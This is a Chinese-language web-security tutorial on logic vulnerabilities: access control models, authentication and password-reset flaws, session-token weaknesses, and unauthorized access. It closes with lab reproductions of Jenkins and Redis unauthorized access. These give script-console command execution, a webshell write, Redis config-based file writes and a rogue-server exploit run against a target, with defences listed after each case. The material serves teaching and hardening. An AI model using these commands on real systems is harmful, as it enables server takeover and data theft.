逻辑漏洞概述

访问控制

• 在某种程度上来说，信息安全就是通过控制如何访问信息资源来防范资源泄露或未经授权修改的工作。
• 访问控制（Access Control）指系统对用户身份及其所属的预先定义的策略组限制其使用数据资源能力的手段。通常用于系统管理员控制用户对服务器、目录、文件等网络资源的访问。访问控制是系统保密性、完整性、可用性和合法使用性的重要基础，是网络安全防范和资源保护的关键策略之一，也是主体依据某些控制策略或权限对客体本身或其资源进行的不同授权访问。
• 访问是主体（Subject）和客体（Object）之间的信息流动，访问控制的主要目的是限制访问主体对客体的访问，从而保障数据资源在合法范围内得以有效使用和管理。为了达到上述目的，访问控制需要完成两个任务：识别和确认访问系统的用户、决定该用户可以对某一系统资源进行何种类型的访问。

访问控制三个要素

访问控制包含三个要素，即主体、客体和访问控制策略。

• 主体（Subject）是指访问中一个发出请求或要求的主动实体，可以是某个用户，也可以是用户启动的程序、进程或设备等；

主体访问客体通常需要4个步骤：

1. Identification        身份标识
2. Authentication        身份验证
3. Authorization        授权
4. Accountability        审计

• 客体（Object）是接受其他实体访问的被动实体，凡是可以被操作的信息、资源、对象都可以被看作客体，可以是文件、光盘、数据库等。
• 控制策略（Attribution）是主体对客体的访问规则集，限制主体对客体的访问权限。

访问控制模型

访问控制模型是规定主体如何访问客体的一种架构，目前主要分为三种：

• 自主访问控制（Discretionary Access Control,DAC,大部分使用）

1. 由客体的属主自主的对客体进行管理，自主的决定是否将访问权限授予其他主体。
2. 该控制模型与所有数据和权限被操作的系统控制不一样，允许用户控制自己的数据的访问权限，根据用户的身份以及他们所属的分组来限制对对象的访问权限。用户可以通过ACL 定义什么人或什么等级的人可以访问什么资源，每一个ACL都包含一个用户和组的列表，以及它们的访问权限。
3. 缺点：主体权限太大就可能泄露信息；当用户的数量多、管理数据量大时，ACL就会很庞大，不易维护。

• 强制访问控制（Mandatory Access Control, MAC）

1. 安全策略由管理员配置，访问控制由系统实施，安全策略高于一切的存在。
2. 该控制模型是非常严格的访问控制模型，起初由政府和军方设计并使用。所有的权限由管理员预定义，并且由操作系统控制，实现了数据的权限分类和用户的权限分类，在验证的时候可以对比用户和数据的权限等级对应关系，从而知道是否有访问权限。
3. 缺点：管理不便，不够灵活，而且过重强调保密性，对系统连续工作能力、授权的可管理性方面考虑不足。

• 角色型访问控制（Role-Based Access Control, RBAC）

1. 使用集中管理的控制方式来决定主体和客体如何交互，更多的用于企业中，根据不同的职位来分配不同的权限。
2. 用户被分配一个角色，而它只能拥有角色里包含的权限，没有可以绕过的方法，通过角色分离了工作职责。

什么是逻辑漏洞

• 随着网络安全法的实施、企业和用户安全意识的提高,Web安全已经成为了重点关注的方向。诸如使用安全开发框架、部署安全防护设备等防护手段的使用，使得网站的常规漏洞越来越少。以SQL注入为例，由于其危害巨大，常年稳居OWASP Top 10的第一位，目前很多Web开发框架在底层就直接杜绝的SQL注入问题。
• 但“逻辑漏洞”一词现在却更加热门，很可能成为Web漏洞的主战场。之所以称之为“逻辑漏洞”，是因为在代码之后是人的逻辑，人更容易犯错，是编写完程序后随着人的思维理解产生的不足，所以逻辑漏洞一直都在。 
• 相比SQL注入、XSS漏洞等传统安全漏洞，SQL注入、XSS等漏洞可以通过安全框架等避免，并且攻击流量非法，对原始程序进行了破坏，防火墙可以检测；所以现在的攻击者更倾向于利用业务逻辑层的应用安全问题，逻辑漏洞就是指攻击者利用业务的设计缺陷，获取敏感信息或破环业务的完整性。一般出现在密码修改（没有旧密码验证）越权访问、密码找回、交易支付等功能处。而且由于逻辑漏洞产生的流量多数为合法流量，传统的安全防御设备和措施收效甚微，一般的防护手段或设备无法阻止，这类问题往往危害巨大，可能造成了企业的资产损失和名誉受损，所以导致了逻辑漏洞成为了企业防护中的难题。

逻辑漏洞分类

• 验证机制缺陷
• 会话管理缺陷
• 权限管理缺陷
• 业务逻辑缺陷

验证机制

• 在网络中，身份是区别于其他个体的一种标识，为了与其他个体有所区别，身份必须具有唯一性。网络中，身份不仅仅用于标识一个人，也可以用于标识一个机器、一个物体，甚至一个虚拟的东西（如进程、会话过程等）
• 网络中的认证不是对某个事物的资质审查，而是对事物真实性的确认。身份认证的目的是鉴别通信中另一端的真实身份，防止伪造和假冒等情况发生。

根据身份认证的对象不同，认证手段也不同，但针对每种身份的认证都有很多种不同的方法。
如果被认证的对象是人，则有三类信息可以用于认证：

• Who knows:        某人所知道的内容，这类信息通常理解为口令
• Who has:        某人所拥有的物品，这类信息包括密码本、密码卡、U盾
• Who is:        某人的身份，这类信息包括指纹、虹膜、脸型、语音特征等

一般情况下，对人的认证只需要一种类型的信息即可，如口令（常用于登录网站）指纹（常用语登录电脑和门禁设备）、U盾（常用于网络金融业务），而用户的身份信息就是该用户的账户名。

• 如果被认证的对象是一般的设备，则通常使用“挑战—应答”机制，即认证者发起一个挑战，被认证者进行应答，认证者对应答进行检验，如果符合要求，则通过认证；否则拒绝。
• 验证机制是信息系统安全机制中最简单、最前沿的一种机制。最常见的方式是信息系统要求用户提交用户名与密码，正确则允许用户登录，错误即拒绝用户登录。

会话管理 

• 在人机交互时，会话管理是保持用户的整个会话活动的互动与计算机系统跟踪过程。会话管理分类：桌面会话管理、浏览器会话管理、Web服务器的会话管理。
• 桌面会话管理器是一个程序，可以保存和恢复桌面会话，桌面会话是所有正在运行的窗口和当前的内容。受会话管理的应用程序，在保存会话的设置时，会话管理器会保存受该会话管理的所有应用程序。如果注销后再次登录，会话管理器会自动启动受该会话管理的应用程序；不受会话管理的应用程序，必须手动启动这些应用程序。
• 浏览器会话管理是打开网页浏览器时，用户可以保存所有打开的网页和设定，并在以后恢复他们的日期。为了帮助恢复系统或应用软件崩溃，页面和设置也可以在下次运行恢复。

HTTP是一种无状态协议，一次请求结束，客户端与服务端的连接就会断开，服务器再次收到请求时，无法识别此次请求是哪个用户发过来的，需要重新建立连接。为了判断发送请求的用户，需要一种记录用户的方式，也就是Web应用会话管理。它也可以简单理解为一个用户从登录到退出应用的一段期间。
常见的Web应用会话管理的方式有以下3种：

• 基于server端session的管理方式
• cookie-based的管理方式
• token-based的管理方式

 HTTP协议

无连接
每次连接只处理一个请求。服务器处理完客户的请求，并收到客户的应答后，即断开连接，采用这种方式可以节省传输时间。
无状态
指协议对于事务处理没有记忆能力，服务器不知道客户端是什么状态。即我们给服务器发送HTTP请求之后，服务器根据请求，会给我们发送数据过来，但是发送完，不会记录任何信息。
会话
执行会话最简单、最常见的方式是向每名用户发布一个唯一的会话令牌或标识符，用户在每一个请求中提交这个令牌。

 权限管理

• 权限管理，一般指根据系统设置的安全规则或者安全策略，用户可以访问而且只能访问自己被授权的资源，不多不少。权限管理几乎出现在任何系统里面，只要有用户和密码的系统。很多人常将“用户身份认证”“密码加密"系统管理”等概念与权限管理概念混淆。
• 用户身份认证是用户要告诉系统“我是谁”，不属于权限管理范畴。
• 密码加密，隶属用户身份认证领域，不属于权限管理范畴。
• 系统管理，一般是系统的一个模块。而且该模块一般还含有权限管理子模块。系统管理里面的权限管理模块，只是一个操作界面，让管理员能够设置角色等安全策略。系统背后还有很多权限验证逻辑，这些都并不属于该模块。总体来说，该模块相当于给权限管理模块提供了一些数据。

从控制力度来看,可以将权限管理分为两大类：

• 功能级权限管理
• 数据级权限管理

从控制方向来看,也可以将权限管理分为两大类：

• 从系统获取数据,比如查询订单、查询客户资料
• 向系统提交数据,比如删除订单、修改客户资料

业务逻辑

• 不同的项目有不同的功能，不同的功能需要不同的实现，实现这些核心功能的代码就叫业务逻辑。
• 很多先接触分层结构，然后对每层产生了初步认识。其中，由于表示层和数据访问层的代码职责清晰明确，基本能正确认识。但是，由于接触的分层架构的Demo大多业务极其简单，又基本是CRUD（常说的增删改查）操作集中型的业务，就会狭义的认为业务逻辑基本就是对数据访问简单的封装。
• 业务逻辑广义的认知应该是：软件产品都是在某个领域内实现某些特定业务，所以，软件产品天生应该分解为界面交互部分和业务逻辑部分，其中业务逻辑部分是软件产品的核心，它客观存在于软件产品内部，但是无法对使用者产生直观刺激，因此业务逻辑不能与使用者直接交互。而界面交互部分是业务逻辑与使用者进行交流的接口，使用者通过界面交互部分，与业务进行交流，从而使得软件产品发挥其作用。

 验证机制

• 身份验证是核心防御机制中最薄弱的环节，身份验证机制也是攻击者的主要攻击目标之一。
• 验证机制是应用程序防御恶意攻击的中心机制。它处于防御未授权的最前沿，如果用户能够突破那些防御，他们通常能够控制应用程序的全部功能，自由访问其中的数据。缺乏安全稳定的验证机制，其他核心安全机制（如会话管理和访问控制）都无法有效实施。
• 验证机制最常见的方式是信息系统要求用户提交用户名与密码，正确则允许用户登录，错误则拒绝用户登录。

验证机制问题主要要分为两个方面：分别为设计缺陷和执行缺陷

Web应用程序常用的验证机制有：

• 基于HTML表单的验证（最常用）
• 多元机制，如组合型密码和物理令牌（多用于安全性要求较高的应用程序比如说提供进行巨额交易服务的私人银行）
• 客户端SSL证书或智能卡（成本非常昂贵，通常只有那些用户不多的安全性极其重要的应用程序才会使用）
• HTTP基本和摘要验证（内网使用较多，建立在域环境及内网对用户的访问控制之上的）
• 使用NTLM或Kerberos整合windows的验证
• 第三方验证服务（尚未得到大量使用）

验证机制设计缺陷

可预测的用户名 

有些应用程序需要用户注册时用户名符合某一特定规则，比如需要满足“姓名缩写数字”的这种形式，其中数字是为了防止用户名重复，也就是说如果在存在姓名缩写相同的情况下后面要跟数字或者进行数字累加。这种在学校邮箱注册时是比较常见的。通过这种方式攻击者可以很方便的获得大量有效用户名。

非唯一性用户名

极少部分的应用程序不要求用户名的唯一性，这就可能造成这样的问题：
在恰巧有两名用户使用相同的用户名及密码的情况下，应用程序要么阻止第二个用户设置密码，要么允许其设置相同的密码。前者这种情况可能导致第一名用户的密码泄露给第二名用户，这种情况下攻击者如果想获得某个已知用户名对应的密码则可以通过注册功能针对于此用户名使用不同的密码注册，如果应用程序返回禁止注册，那么我们可以推测出此次注册时的密码就是这个用户名对应的密码。后者则可能导致第二名用户可以访问第一名用户的状态。

弱口令

• 弱口令（Weak Password）指容易被他人猜到的口令，除123456、12345678、admin等常见口令外，生日、姓名、手机号、1qaz@WSX也被称为弱口令。
• 为节省攻击成本，通常会适用弱口令字典进行字典攻击

密码确认不完善

些应用程序在用户注册设置密码时，出于一些原因往往会对密码进行如下处理：

• 截断前n个字符
• 大小写不敏感
• 删除特殊字符

上述操作均会减少应用程序的密码空间，攻击者通过仔细分析应用程序的密码处理规则后，可以适当修改自己的暴破字典从而提高暴破的成功率。

可预测的密码 

在像学校，企业这种存在批量注册大量用户需求的应用程序中，经常会为批量用户设置默认密码，这种默认密码可以是相同的也可以是与用户名或者其身份证信息等有关系的。这种情况下攻击者可以通过Google hacking来在公开信息汇总收集大量初始密码，也可以根据默认密码规律推测出大量密码。

暴力破解

• 暴力破解（Brute Force），也可称为蛮力攻击，指利用穷举法将所有的可能性一尝试，理论上可以破解所有密码问题。实际测试中，考虑到攻击成本问题，通常使用字典攻击（DictionaryAttack）， 即逐一尝试用户自定义词典中的可能密码（单词或短语）的攻击方式。 
• 如果应用程序允许用户在登录失败很多次后，仍能继续尝试登录，那么这种情况下此应用可能存在暴破攻击。为了防止暴破攻击，应用程序应该设置用户登录失败次数上限，当用户失败的登录次数达到上限后应用程序应该阻止用户进一步的登录。但是通过前端脚本或者Cookie来统计用户失败的登录次数是不可靠的，因为这些都是攻击者可以接触到并且可以修改的，如果服务器端使用Session来存储用户失败登录的次数这样就可靠的多。除了用户登录次数的统计问题外，如何处理失败登录次数达到上限的用户也是一个需要谨慎处理的问题，如果用户在登录失败很多次后被锁定，但是锁定状态下的用户使用正确密码登录时和使用错误密码登录时Web应用程序的响应信息不同那么此时此应用还是存在暴破漏洞。 
• 对于暴力破解，还有一些多余的提示信息可以利用。比如登录失败后，提示“用户名不存在”密码错误”、“用户未注册”等提示信息，通过这些信息可以更加快速的推断出用户名及密码。

可利用信息

多余的提示信息

• 登录失败后，不应该提示如“用户不存在”、“密码错误”、“用户未注册”等详细信息，通过这些信息可推断出用户名、密码等其他信息

可预测信息

• 类似user100、user101的用户名，手机号信息
• 类似于ABC123、123456的初始密码

在暴力破解的时候，若拥有验证码还需要绕过验证码，验证码常见的有图片验证码和短信验证码。
图片验证码

• 验证码不生效/不更新/不失效
• 验证码可预测/删除/获取
• 验证码可识别

短信验证码

• 4/6位验证码
• 篡改手机号
• 篡改Response

密码重置

在逻辑漏洞中密码重置问题是比较常见的一种场景，常见于用户修改密码页面、用户找回密码页面等涉及到网站重置密码功能的页面。

修改密码

目前的修改密码的方式大概可以分为两种，第一种是要求用户键入用户名、旧密码、新密码、确认新密码四部分，一些Web应用程序会忽略修改密码处旧密码错误输入次数过多的问题，这就容易被攻击者利用来进行密码暴破；还有一种最不安全的情况就是只需要用户键入用户名、新密码、确认新密码即可更改用户名相应的密码，这种情况下攻击者无需暴破即可获得正确的用户名及密码组合。

找回密码

• 忘记密码功能往往通过设置一组问题来验证用户身份，比如这些问题可以是“我最喜欢的颜色”这些问题的答案组合次数相对于密码来说小的多，并且可以通过信息收集工作来提供辅助。攻击者可以收集一组用户名并逐个遍历然后记录相应的问题在其中选择最简单的那个下手可以获得更高的成功率
• 忘记密码处可能不会设置错误次数限制从而允许攻击者猜测上述问题的答案
• 通常Web应用程序也会设置密码暗示来代替上述问题，这些密码暗示往往能够辅助攻击者猜测密码，有些用户甚至直接把密码设置为密码暗示。攻击者同样可以通过枚举收集到的用户名然后获得一组密码暗示，从而寻找出最容易获得的密码
• 当前Web应用程序可能通过向用户邮箱发送密码重置链接来帮助用户修改密码，这种链接是随机的攻击者很难对其进行猜解。但是有些应用在设计这个逻辑时可能允许Web应用程序将用户密码修复的邮件发送至攻击者，有时邮箱地址并没有直接显示出来而是存储在隐藏的表单中这时攻击者可以将邮箱修改为自己的邮箱。在最差的情况下攻击者可以尝试推测密码重置的URL来重置用户密码

 常见密码重置问题

• 用户名枚举：网站反馈多余信息，可猜测用户信息
• 验证码返回前端处理：可截获、修改
• 修改Request：用户名、手机号、Cookie等信息可修改
• 修改Response：操作结果成功/失败可修改
• 暴力破解验证码：验证码长度有限，或验证码未设置可靠的失效时间
• 拼凑密码重置链接：重置密码链接有规可循

记住密码 

一些应用程序为了方便用户访问通常会提供“记住密码”的功能，此功能通常仅通过cookie中的某个字段来实现。比如Cookie中会设置一个存储用户名的字段来实现基础我的功能如果这样的话攻击者仅需要随便注册一个用户然后将Cookie中用户名修改为其想要访问用户的用户名即可实现对目标用户的访问。Cookie中还可能通过存储个ID字段来唯一的标识用户，这种情况下攻击者可以遍历ID从而实现遍历访问用户。

证书分配不安全

• 目前很多应用程序在注册时都会要求用户填入邮箱信息，并在稍后发送给用户一封激活邮件，如果邮件中保存有用户的初始用户名及密码并且这种邮件有没有及时的删除，在邮件泄露或者邮箱被攻击者攻破的情况下，则会泄露应用程序的密码。
• 除此之外有些激活URL可能存在某种规律，攻击者可以通过注册，连续地注册用户来观察这种规律，从而推测其他用户的激活URL。

证书传输易受攻击

如果Web应用程序在网络环境中以明文的方式传递证书，那么攻击者则可能通过嗅探、中间人等各种方式获取。

异常开放登录机制

验证机制在代码实现过程中也可能由于编码者某些疏忽造成安全问题。

1. 使用控制的一个账户执行一次完整、有效的登录。使用拦截代理服务器记录提交的每一份数据、收到的每一个响应
2. 多次重复登录过程，以非常规方式修改提交的数据。比如，对于客户端传送的每个请求参数或Cookie

• 提交一个空字符串
• 完全删除键值对
• 提交非常长和非常短的值
• 提交字符串代替数字或相反
• 针对某一参数，尝试重复提交相同和不同的值

1. 仔细检查应用程序对提交的每个畸形请求的响应，确定任何不同于基本情况的差异
2. 根据这些观察结果调整测试过程。如果某个修改造成行为改变，设法将这个修改与其他更改组合在一起，使应用程序的逻辑达到最大限度

 多阶段登录机制中的缺陷

有些对于安全性要求较高的应用可能会采取多阶段登录验证机制，比如一个多阶段验证机制可以有以下三个过程组成：

• 提交用户名及密码
• 响应一个质询，答案可能使PIN中的特殊数字或者一个值得纪念的词
• 提交物理令牌上的值

多阶段登录机制确实可以明显的提高登录验证的安全性，但是更多的阶段同样意味着可能潜在有更多的执行缺陷。比如可能存在以下几个常见的缺陷:

• 应用程序认为访问第三阶段的用户已经完成了一二阶段的认证。这种情况下仅拥有部分登录凭证的攻击者可以成功登录
• 在每个阶段的验证过程中，应用程序会保存相应的标志，比如账户是否过期、是否被锁定、是否属于管理员、是否需要完成更多的登录验证阶段。如果攻击者可以在某一个登录阶段接触到上一个阶段设置的标记，那么攻击者可以对这些标记进行修改从而完成一定程度的攻击行为
• 应用程序有可能会认为各阶段认证过程中用户的身份都不会发生变化，并且不会在每一个阶段检查用户身份的统一性，那么如果攻击者在第一阶段输入的用户名及密码与后面阶段输入的验证凭证不一致，且应用程序会以两种或三种验证凭证任一对应的用户身份登录的话，这就存在严重的安全问题。这种情况下攻击者只需要知道目标用户的部分验证信息就可以登录，而其他信息则可以通过自己注册获得部分信息，这种攻击的严重程度取决于应用程序用于确定用户身份的验证凭证的易获得度（比如应用程序以第一阶段的用户名及密码来确定身份，那么存在上述缺陷的情况下攻击者可以使用自己的后两个阶段的验证凭证来进行登录，PIN码内容及物理令牌相对于用户名及密码来说更难获得，所以这种情况下攻击的严重程度比较高) 

测试多阶段验证机制可以按照以下步骤进行

• 记录一次有效账户完整的登录过程，并使用代理记录每一阶段的数据
• 收集那些由服务器返回的且重复提交的数据，这些数据往往放置与Cookie，URL预设参数，隐藏表单字段等位置
• 对于上述收集到的重复提交的数据试着在另一阶段将其修改为不同的值看看是否能够登录成功
• 还需要注意任何提交到服务器且不是用户直接输入的数据，这些数据可能是登录进展的状态信息，比如stage2complete=True，攻击者可以直接修改这些值进入下一阶段
• 尝试各种畸形的登录过程

会话管理

会话令牌

会话

• HTTP协议本身是“无状态”无连接”的，也就是说HTTP协议本身并不会记住客户端访问的上下文，也无法保存客户端的各种状态，这其中就包括登录状态。如果HTTP不能保存用户的登录状态，那就意味着用户在每次访问需要身份验证的网站时都必须填写用户名及密码，这里的“每次访问”是指每个单次的HTTP请求包括刷新一次页面。为了解决上述的问题，Web应用程序就需要使用会话这个概念，即用户登录成功后为其建立一个会话，通过会话记录用户的各种状态，通常使用Cookie、Session及Token实现会话机制。令牌就是这一类用于维持用户会话状态的方法。
• 执行会话最简单、最常见的方式是向每名用户发布一个唯一的会话令牌或标识符，用户在每一个请求中提交这个令牌。

确定会话令牌

• 多个数据共同表示一个会话令牌，包括Cookie、URL参数以及隐藏的表单参数
• 标准的会话Cookie可能存在但是Web应用程序未对其进行使用
• 观察用户登录前后客户端保存数据的变化，这些变化中包含了建立新会话的令牌
• 通过删除客户端向服务器端发送的参数来进行判断，比如在删除了某个参数后无法正常访问用户的个人资料，那么这个参数应该与会话令牌有关

令牌使用情景

• 发送到用户注册邮箱的密码恢复令牌
• 防止CSRF的会话令牌
• 用于一次性访问受保护资源的令牌
• 未使用验证的购物应用程序的消费者用于检索现有订单状态的令牌

会话令牌生成中的缺陷

令牌有含义

我们常规抓取http数据包所观察到的令牌内容多是杂乱无序的字符串，不同用户之间的令牌也无任何规律。但是也不排除有些系统会有意设置具有含义的令牌字符，如：

• 用户名称：如user、admin、system
• 用户标识：如0001、0002、0003
• 用户权限：admin、00101、01000
• 用户姓/名：zhangsan
• 日期/时间戳
• 电子邮箱
• 可预测数字

令牌可预测

• 隐含序列：有时我们并不能直接的通过观察令牌来发现其隐含的序列或者规律，我们可以通过对令牌进行解码，然后发挥想象力通过各种运算或者操作来发现解密后令牌中所蕴含的规律或者隐含的序列。
• 时间依赖：一些Web服务器和应用程序使用时间来参与令牌的生成。如果使用时间生成令牌的算法没有合并足够的熵，攻击者就可能推测出其他用户的令牌。
• 生成数字的随机性不强：计算机生成的随机数都是伪随机数，如果伪随机数的算法强度较弱，那么生成随机数很可能被预测。
• 令牌加密函数对外开放或暴露：如果攻击者可以接触到会话令牌生成函数的源码、算法过程或者相应加密过程的入口（即攻击者可以通过此入口获得任何数据经过和令牌相同的加密方式后的数据），那么攻击者就可以详细的了解令牌生成的过程，从而模仿此过程对令牌进行伪造。
•  常见的cookie（令牌）一般都是无序的字符串，并不能看出其中有何含义
• 但有些网站系统开发者喜欢用自己制定的策略生成令牌字段，同时策略过于简单的话，就会使令牌包含一定规律，可以被攻击者预测到令牌的内容，如： 

1. 有含义的编号：身份证号、学号、员工号、手机号等
2. Unix时间戳：当前系统时间、注册时间、时间戳的变形等

令牌可获取

在网络上泄露令牌

• 应用程序在登录阶段那使用HTTPS，但是登录成功后转为使用HTTP或者可以访问验证前使用HTTP的链接，这样尽管保护了用户的证书，却保护不了用户的会话令牌
• 用户在首次访问某一网站时使用HTTP协议，往往此时服务器已经给客户端发布了会话令牌，当用户进行登录时，即使网站转换使用HTTPS，那么在令牌不改变的情况下，原先处于暴露环境中的令牌此刻升级为具有通过验证的令牌
• 如果登录界面允许使用HTTP协议登录，那么攻击者可以通过各种方式使用户在登录时使用HTTP协议
• 在用户使用HTTPS协议登录后，如果网页在加载像图片等静态资源时使用的是HTTP协议，用户的会话令牌还是可以通过此泄露

在日志中泄露令牌

协助网络管理人员的系统日志如果记录了最近的会话日志，且未对访问控制进行严格管理，那么在此种情况下，攻击者可能通过日志获得登录会话
如果应用程序将会话置于URL中，那么这些会话会被记录在：

• 用户浏览器的日志中
• Web服务器日志
• 企业或ISP代理服务器日志
• 反向代理服务器日志
• 任何站外服务器的Referer（最危险的方式）

会话令牌与会话的映射易受到攻击

• 允许并行登录
• 使用静态令牌，即一个用户令牌发布后不再改变

客户端暴露在令牌劫持风险中

网站存在如下攻击，容易造成会话令牌被劫持

• XSS
• SSRF
• 会话固定

1. 认证前就发布令牌
2. 认证后获得的会话令牌可重新用于其他用户认证
3. 应用程序接受伪造令牌

 令牌不失效

令牌有效期过长

• 是否需要在股时间后使令牌失效
• 是否需要在关闭浏览器时使令牌失效

令牌尝试次数过多

• 可以考虑在令牌提交次数过多时候使令牌失效

无效的令牌重置的手段

• 注销后令牌是否还有效

会话管理问题

cookie的属性值expires，就是用于设置cookie过期时间，如果设置一个时间，到期后cookie则失效，如果默认不设置，则为浏览器关闭后cookie失效。令牌的有效时间设置比较重要，时间设置过短，用户还没有访问完就要重新登录，时间设置过长会存在安全问题。令牌失效时间过长，当用户结束访问网站后，令牌仍然有效，那么攻击者劫持成功令牌的概率就会增加。用户注销后，令牌是否有设置失效，如没有该逻辑，那么注销后的令牌仍然合法，攻击者依旧可以以用户身份登录。

案例：会话固定攻击

会话固定攻击（session fixation attack）是利用应用系统在服务器的会话ID固定不变机制，借助他人用相同的会话ID获取认证和授权,然后利用该会话ID劫持他人的会话以成功冒充他人，造成会话固定攻击。

权限控制

• 某个主体（subject）对某个客体（object）需要实施某种操作（operation），系统对这种操作的限制就是权限控制。
• 在一个安全的系统中，通过身份验证来确认主体的身份。客体是一种资源，是主体发起请求的对象。主体所能做什么，就是权限，权限可以细分为不同的能力。例如：在Linux文件系统中，将权限分为 读、写、执行三种能力。
• 权限控制一般分为两个步骤，身份验证与授权。首先进行的是身份验证的工作，用于验证用户是谁，是否有资格登录访问系统，解决【Who am l】的问题；第二步进行授权，用来决定用户能做什么，将系统不同的权限授予不同的账户，使其登录系统后拥有不同的操作权限，解决【What can I do】的问题。
• 形象的来说：假设系统是一个屋子，持有钥匙的人可以开门进入屋子。那么屋子就是通过锁和钥匙来进行『身份验证』的，开门的过程对应的就是登陆。开门之后，能访问哪个屋子，什么事情能做，什么事情不能做，就是『授权』的管辖范围了。

权限控制方式

ACL策略：主体-规则-客体

• Linux文件权限：读、写、执行

RBAC: Web应用系统常采用此模型

• Web应用权限：基于URL、基于方法、基于数据

ACL

• ACL，访问控制列表。在ACL中，包含用户(User)、资源(Resource)、资源操作(Operation)三个关键要素。每一项资源，都配有一个列表，记录哪些用户可以对这项资源执行哪些操作。当系统试图访问这项资源时，会检查这个列表中是否有关于当前用户的操作权限。ACL是面向“资源”的访问控制模型，机制是围绕“资源”展开的。
• ACL典型示例：在 Linux 中，主体是系统用户，客体是被访问的文件，一个文件所能执行的操作分为读(r)、写(w)、执行(x)。这三种操作同时对应着三种主体：文件拥有者、文件拥有者所在的用户组、其他用户。主体-客体-操作这三种的对应关系构成了ACL控制访问列表，当用户访问文件时，能否成功将由ACL决定。

RBAC

名词术语

• 用户（user）：人、机器、网络等，进行资源或服务访问的实施主体
• 角色（role）：一个工作职能，被授予角色的用户将具有相应的权威和责任
• 会话（session）：从用户到其激活的角色集合的一个映射
• 权限 （permission）：对受RBAC保护的一个或多个对象执行某个操作的许可
• 操作（operation）：一个程序可执行的映像，被调用时为用户执行某些功能
• 客体（object）：需要进行访问控制的系统资源，例如：文件、打印机、数据库记录等

RBAC，基于角色的访问控制。RBAC认为授权实际就是Who，What，How三者之间的关系，即Who对What进行How的操作。

• Who：权限的拥用者或主体（如 User、（Group、Role等等）
• What：权限针对的对象或资源
• How：具体的权限

权限控制

• 未授权访问

当信息系统的安全配置或权限认证的地址、授权页面存在缺陷时，有可能出现未授权访问，导致用户可以访问信息系统，进而操作重要权限、操作数据库、读取网站目录等敏感信息。

目前存在未授权访问漏洞主要存在Web应用权限中。正常情况下，管理后台的页面应该只有管理员才能够访问，而且搜索引擎的爬虫也不应该搜索到这些页面，但这些系统未对用户访问权限进行控制，导致任意用户只要构造出了正确URL就能够访问这些页面或者用爬虫爬到页面目录。

对于Web应用程序，未授权访问常发生于空口令登录及后台管理页面的访问。空口令多是因为配置问题，允许不输入用户名密码登录，修改配置可避免。后台管理页面应该只有管理员才能访问，正常情况下是不应该被前台访问到的，搜索引擎与爬虫也不应搜索到后台页面，由于系统未对用户访问权限做控制，可能被攻击者用工具或手动尝试出来。

对于数据库或一些服务组件，未授权访问可能由于一些版本中出现的漏洞，导致攻击者能读取数据库信息，读取系统的文件，甚至利用服务写文件至主机上。

目前主要存在未授权访问漏洞的服务有：

samba服务、LDAP、Rsync、FTP、GitLab、Jenkins、MongoDB、Redis、ElasticSearch、Memcache、docker等

测试方法

1. Google-Hacking
2. 域名爆破
3. 端口扫描
4. 域名关联

未授权访问案例

Jenkins未授权访问

Jenkins是一个开源软件项目，是基于Java开发的一种持续集成工具，它能把软件开发过程形成工作流。默认情况下Jenkins面板中用户可以选择执行脚本界面来操作.些系统层命令，攻击者可通过未授权访问漏洞或者暴力破解用户密码等进入后台管理服务，通过脚本执行界面从而获取服务器权限。

环境搭建

部署Jenkins 1.62版本，将全局授权策略打开，目前新版本的Jenkins已默认需要用户登录，但老版的中默认配置是“任意用户可以做任何事”，存在未授权访问的问题。

漏洞复现

直接通过url访问

 登陆后点击系统管理模块中的脚本命令行

println "ls".execute().text

 可使用命令调用函数执行系统命令，可以看到回显了当前目录下的文件信息，该漏洞属于未授权访问，同时也属于命令执行漏洞。

也可以使用命令写入shell

new File("/tmp/shell.php").write('')

使用命令查看

println "cat /tmp/shell.php".execute().text

 可以使用find命令查找

println "find /".execute().text

 Jenkins未授权访问修复方法

• 升级版本
• 禁止把Jenkins直接暴露在公网
• 恢复安全设置 (老版本默认开启“任何用户可以做任何事”），设置强口令密码
   

 Redis未授权访问

Redis是完全开源免费的，遵守BSD协议，是一个高性能的key-value存储系统，是跨平台的非关系型数据库。Redis通常被称为数据结构服务器，因为值（value）可以是字符串、哈希、列表、集合和有序集合等类型，与其他key-value缓存产品有以下三个特点：

• Redis支持数据的持久化，可以将内存中的数据保存在磁盘中，重启的时候可以再次加载进行使用
• Redis不仅仅支持简单的key-value类型的数据，同时还提供list，set，zset，hash等数据结构的存储
• Redis支持数据的备份，即master-slave模式的数据备份

Redis 默认情况下，会绑定在 0.0.0.0:6379，如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源 ip 访问等，这样将会将 Redis 服务暴露到公网上；如果在没有设置密码认证（一般为空）的情况下，会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
攻击者在未授权访问 Redis 的情况下，利用 Redis 自身的提供的config 命令，可以进行写文件操作，攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中，进而可以使用对应私钥直接使用ssh服务登录目标服务器、添加计划任务、写入Webshell等操作。

漏洞复现

未授权访问远程连接

1.将redis_cli压缩包放置kali攻击机解压，并连接可执行info命令查看redis服务器相关信息

wget http://download.redis.io/releases/redis-2.8.12.tar.gz 

tar -xzf redis-2.8.12.tar.gz

cd redis-2.8.12

make

cd redis-2.8.12/src/

./redis-cli -h 192.168.111.137

info — 查看redis信息和服务器信息
flushall — 删除所有数据         //可不测试
del key — 删除键为key的数据//可不测试
get key — 获得参数key的数据//可不测试
config — 配置server             //可不测试

 

 使用现有exp实现远程代码执行

1.git clone https://github.com/vulhub/redis-rogue-getshell.git    //克隆exp项目文档

2.cd redis-rogue-getshell/RedisModulesSDK/exp           //进入该目录

make //在当前目录下生成一个exp.so文件                      //编译生成exp

4. ./redis-master.py -r 192.168.111.137 -p 6379 -L 192.168.111.139 -P 1111 -f RedisModulesSDK/exp/exp.so -c "cat/etc/passwd"  //第一个ip是靶机，第二个ip是攻击机

 写入webshell

首先进入客户端

1.config set dir /var/tmp    //指定工作目录

2.config set dbfilename tyc.php   //设置数据库文件名

3.set trojan ""    //追加写入tyc.php文件内容

4.save

 

 Redis未授权访问防御方法

可以配置redis.conf文件，在redis安装目录下

• 默认只对本地开放bind 127.0.0.1
• 添加登陆密码：修改redis.conf文件，添加requirepass password
• 在需要对外开放的时候修改默认端口（端口不重复就行）port 2333
• 配合iptables限制开放
• 降权：以低权限运行 Redis 服务（重启redis才能生效）
• 禁止使用root权限启动redis服务
• 隐藏：只能阻止用户无法猜测到后台界面，爆破工具可以扫描大量后台地址
• 页面权限控制：可以阻挡非认证用户登录后台，即使找到后台链接，也会被认证窗口阻挡

